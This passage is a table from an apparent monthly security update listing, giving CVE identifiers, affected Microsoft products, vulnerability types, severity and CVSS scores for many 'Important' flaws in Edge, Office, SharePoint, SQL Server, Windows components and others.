 CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio 